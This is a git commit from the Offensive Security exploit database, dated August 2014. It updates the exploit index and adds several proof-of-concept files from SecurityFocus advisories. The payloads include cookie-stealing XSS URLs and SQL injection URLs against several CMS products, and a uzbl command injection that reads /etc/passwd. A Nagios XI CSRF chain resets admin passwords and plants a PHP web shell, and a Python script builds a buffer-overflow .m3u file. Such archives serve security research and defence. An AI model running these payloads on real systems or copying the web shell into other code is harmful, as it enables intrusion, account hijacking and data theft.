Updated 08_29_2014

This commit is contained in:
Offensive Security 2014-08-29 04:41:14 +00:00
parent 2bbed5f057
commit 3014afc96e
8 changed files with 239 additions and 1 deletions

View file

@ -31004,4 +31004,11 @@ id,file,description,date,author,platform,type,port
34419,platforms/multiple/webapps/34419.txt,"ntopng 1.2.0 - XSS Injection",2014-08-26,"Steffen Bauch",multiple,webapps,0
34420,platforms/cgi/webapps/34420.txt,"VTLS Virtua InfoStation.cgi - SQL Injection",2014-08-26,"José Tozo",cgi,webapps,80
34421,platforms/linux/local/34421.c,"glibc Off-by-One NUL Byte gconv_translit_find Exploit",2014-08-27,"taviso and scarybeasts",linux,local,0
34424,platforms/php/webapps/34424.txt,"WooCommerce Store Exporter 1.7.5 - SXSS and RXSS",2014-08-27,"Mike Manzotti",php,webapps,0
34424,platforms/php/webapps/34424.txt,"WooCommerce Store Exporter 1.7.5 - Multiple XSS Vulnerabilities",2014-08-27,"Mike Manzotti",php,webapps,0
34426,platforms/linux/remote/34426.txt,"uzbl \'uzbl-core\' \'@SELECTED_URI\' Mouse Button Bindings Command Injection Vulnerability",2010-08-05,Chuzz,linux,remote,0
34428,platforms/windows/dos/34428.py,"Quintessential Media Player 5.0.121 '.m3u' File Buffer Overflow Vulnerability",2010-08-09,"Abhishek Lyall",windows,dos,0
34429,platforms/asp/webapps/34429.txt,"Allinta CMS 22.07.2010 Multiple SQL Injection and Cross Site Scripting Vulnerabilities",2010-08-09,"High-Tech Bridge SA",asp,webapps,0
34430,platforms/php/webapps/34430.txt,"Preation Eden Platform 27.7.2010 Multiple HTML Injection Vulnerabilities",2010-08-09,"High-Tech Bridge SA",php,webapps,0
34431,platforms/linux/remote/34431.html,"Nagios XI Multiple Cross Site Request Forgery Vulnerabilities",2010-08-07,"Adam Baldwin",linux,remote,0
34432,platforms/php/webapps/34432.txt,"Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities",2009-10-29,Lostmon,php,webapps,0
34433,platforms/php/webapps/34433.txt,"Simple Directory Listing 2.1 'SDL2.php' Cross Site Scripting Vulnerability",2010-10-22,"Amol Naik",php,webapps,0

Can't render this file because it is too large.

19
platforms/asp/webapps/34429.txt Executable file
View file

@ -0,0 +1,19 @@
source: http://www.securityfocus.com/bid/42320/info
Allinta CMS is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Allinta CMS 22.07.2010 is vulnerable; prior versions may also be affected.
http://www.example.com/languageselect.asp?lang_URL=Default.asp%3Flang%3D&ss=x%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&img=1
http://www.example.com/languageselect.asp?lang_URL=Default.asp%27};alert%28document.cookie%29;{a=%27%3Flang%3D&ss=x&img=1
http://www.example.com/path_to_admin/menuCodeAE.asp?m=edit&i=185%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://www.example.com/path_to_admin/faqAE.asp?m=edit&i=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://www.example.com/path_to_admin/contentAE.asp?m=edit&i=376+ANY_SQL_HERE
http://www.example.com/path_to_admin/templatesAE.asp?m=edit&i=1+ANY_SQL_HERE

View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/42297/info
uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting.
To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button.
Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application.
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html>

142
platforms/linux/remote/34431.html Executable file
View file

@ -0,0 +1,142 @@
source: http://www.securityfocus.com/bid/42322/info
Nagios XI is prone to multiple cross-site request-forgery vulnerabilities because the application fails to properly validate HTTP requests.
Successful exploit requires that the 'nagiosadmin' be logged into the web interface.
Attackers can exploit these issues to gain unauthorized access to the affected application and perform certain administrative actions.
Nagios XI 2009R1.2B is vulnerable; other versions may also be affected.
Reset the nagiosadmin password via CSRF
This can be useful to hijack the administrators account.
<input type='button' id='adminpassword' value='Set nagiosadmin Password'/>
<form name="adminpasswordform"
action="http://www.example.com/nagiosxi/account/main.php?page=acctinfo"
method="POST" target="hidden" class="invisible">
<input type="input" name="defaultDateFormat" value="1" />
<input type="input" name="defaultLanguage" value="en" />
<input type="input" name="defaultNumberFormat" value="1" />
<input type="input" name="defaultTheme" value="none" />
<input type="input" name="email" value="adam@ngenuity-is.com" />
<input type="input" name="name" value="Nagios Administrator" />
<input type="input" name="password1" value="letmein1" />
<input type="input" name="password2" value="letmein1" />
<input type="input" name="update" value="1" />
</form>
Reset the configuration manager password
The attacker just has the victim visit the following URL. Even if the
nagios admin is not logged into the configuration admin, the attacker can…
1. Force a password reset of the configuration manager
2. Log the nagiosadmin into the configuration manager
3. Create a simple web shell on the nagios server.
http://www.example.com/nagiosxi/admin/credentials.php?options=1
&update=1
&config_admin_password=letmein1
&subsystem_ticket=2objrv9t6glq
&config_backend_password=38ajpt
Log into the configuration manager with previously set password
<input type='button' id='login' value='Login to Config Manager' />
<form name='loginform' action="http://www.example.com/nagiosql/index.php"
method="POST" target="hidden" class="invisible">
<input type="input" name="Submit" value="Login"/>
<input type="input" name="tfPassword" value="letmein1"/>
<input type="input" name="tfUsername" value="nagiosadmin"/>
</form>
Modify nagios command to create a webshell when run
Note the \ before the ; in our php code is what makes this possible.
Normally Nagios would not allow for a ; to be input into the command
string unless escaped. PHP will happily still execute this code despite
the \ being there.
<input type='button' id='modifycmd' value='Create Web Shell Command' />
<form name='modifycmdform'
action="http://www.example.com/nagiosql/admin/checkcommands.php"
method="POST" target="hidden" class="invisible">
<input type="input" name="chbActive" value="1"/>
<input type="input" name="hidActive" value=""/>
<input type="input" name="hidId" value="3"/>
<input type="input" name="hidLimit" value="0"/>
<input type="input" name="modus" value="modify"/>
<input type="input" name="selCommandType" value="1"/>
<input type="input" name="tfCommand"
value='/bin/echo "<pre><?php echo system(\$$_GET[\"c\"])\; ?>
</pre>" > /usr/local/nagiosxi/html/cmd.php' />
<input type="input" name="tfName" value="check-host-alive"/>
</form>
Add a Host to make sure our command is triggered, and the web shell created.
Yes this is a long and boring form…
<form name='addhostform' action='http://www.example.com/nagiosql/admin/hosts.php'
method='POST' target='hidden' class='invisible'>
<input type="input" name="chbActive" value="1"/>
<input type="input" name="hidActive" value=""/>
<input type="input" name="hidId" value=""/>
<input type="input" name="hidLimit" value="0"/>
<input type="input" name="hidName" value=""/>
<input type="input" name="modus" value="insert"/>
<input type="input" name="radActiveChecksEnabled" value="2"/>
<input type="input" name="radContactGroups" value="1"/>
<input type="input" name="radContacts" value="1"/>
<input type="input" name="radEventEnable" value="2"/>
<input type="input" name="radFlapEnable" value="2"/>
<input type="input" name="radFreshness" value="2"/>
<input type="input" name="radHostGroups" value="2"/>
<input type="input" name="radNoStatusInfos" value="2"/>
<input type="input" name="radNotifEnabled" value="2"/>
<input type="input" name="radObsess" value="2"/>
<input type="input" name="radParent" value="2"/>
<input type="input" name="radPassiveChecksEnabled" value="2"/>
<input type="input" name="radPerfData" value="2"/>
<input type="input" name="radStatusInfos" value="2"/>
<input type="input" name="selCheckPeriod" value="0"/>
<input type="input" name="selEventHandler" value="0"/>
<!-- Command we overwrote -->
<input type="input" name="selHostCommand" value="3"/>
<input type="input" name="selNotifPeriod" value="3"/>
<input type="input" name="selTemplate" value="2::1"/>
<input type="input" name="tfActionURL" value=""/>
<input type="input" name="tfAddress" value="4.2.2.2"/>
<input type="input" name="tfArg1" value=""/>
<input type="input" name="tfArg2" value=""/>
<input type="input" name="tfArg3" value=""/>
<input type="input" name="tfArg4" value=""/>
<input type="input" name="tfArg5" value=""/>
<input type="input" name="tfArg6" value=""/>
<input type="input" name="tfArg7" value=""/>
<input type="input" name="tfArg8" value=""/>
<input type="input" name="tfCheckInterval" value=""/>
<input type="input" name="tfD2Coords" value=""/>
<input type="input" name="tfD3Coords" value=""/>
<input type="input" name="tfDisplay" value=""/>
<input type="input" name="tfFirstNotifDelay" value=""/>
<input type="input" name="tfFreshTreshold" value=""/>
<input type="input" name="tfFriendly" value="testpwn"/>
<input type="input" name="tfGenericName" value=""/>
<input type="input" name="tfHighFlat" value=""/>
<input type="input" name="tfIconImage" value=""/>
<input type="input" name="tfIconImageAlt" value=""/>
<input type="input" name="tfLowFlat" value=""/>
<input type="input" name="tfMaxCheckAttempts" value="5"/>
<input type="input" name="tfName" value="testpwn"/>
<input type="input" name="tfNotes" value=""/>
<input type="input" name="tfNotesURL" value=""/>
<input type="input" name="tfNotifInterval" value="0"/>
<input type="input" name="tfRetryInterval" value=""/>
<input type="input" name="tfStatusImage" value=""/>
<input type="input" name="tfVmrlImage" value=""/>
<input type="input" name="txtVariablename" value=""/>
<input type="input" name="txtVariablevalue" value=""/>
</form>

View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/42321/info
Preation Eden Platform is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
Preation Eden Platform 27.07.2010 is vulnerable; prior versions may also be affected.
<script>alert(document.cookie)</script>

20
platforms/php/webapps/34432.txt Executable file
View file

@ -0,0 +1,20 @@
source: http://www.securityfocus.com/bid/42327/info
Wowd search client is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Wowd version 1.3.0 is vulnerable; other versions may also be affected.
The following proof of concept is available:
http://www.example.com:8101/wowd/index.html?search&query=a&
sortby=rank&tags=english|S0B0707656E676C6973680D02
http://www.example.com:8101/wowd/index.html?search&query=a
&sortby=rank&tags=english|S0B0707656E676C6973680D02,
%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02
http://www.example.com:8101/wowd/index.html?search&page=2&q=
&sortby=rank&tags=news|S0807046E6577730D02&ctx=1995393737681%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/42359/info
Simple Directory Listing is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Simple Directory Listing 2.1 is vulnerable; other versions may also be affected.
http://www.example.com/simpledirectorylisting/SDL2.php?cwdRelPath= '><script>alert(1)</script>

23
platforms/windows/dos/34428.py Executable file
View file

@ -0,0 +1,23 @@
source: http://www.securityfocus.com/bid/42307/info
Quintessential Media Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
Quintessential Media Player 5.0.121 is vulnerable; other versions may also be affected.
#Quintessential Player 5.0.121 .m3u Crash POC
#vulnerble application link http://www.quinnware.com/downloads.php
#tested on XP SP2/3
#author abhishek lyall - abhilyall[at]gmail[dot]com
#web::: http://aslitsecurity.com Blog::: http://aslitsecurity.blogspot.com
#!/usr/bin/python
filename = "Quintessential.m3u"
junk = "\x41" * 5000
textfile = open(filename , 'w')
textfile.write(junk)
textfile.close()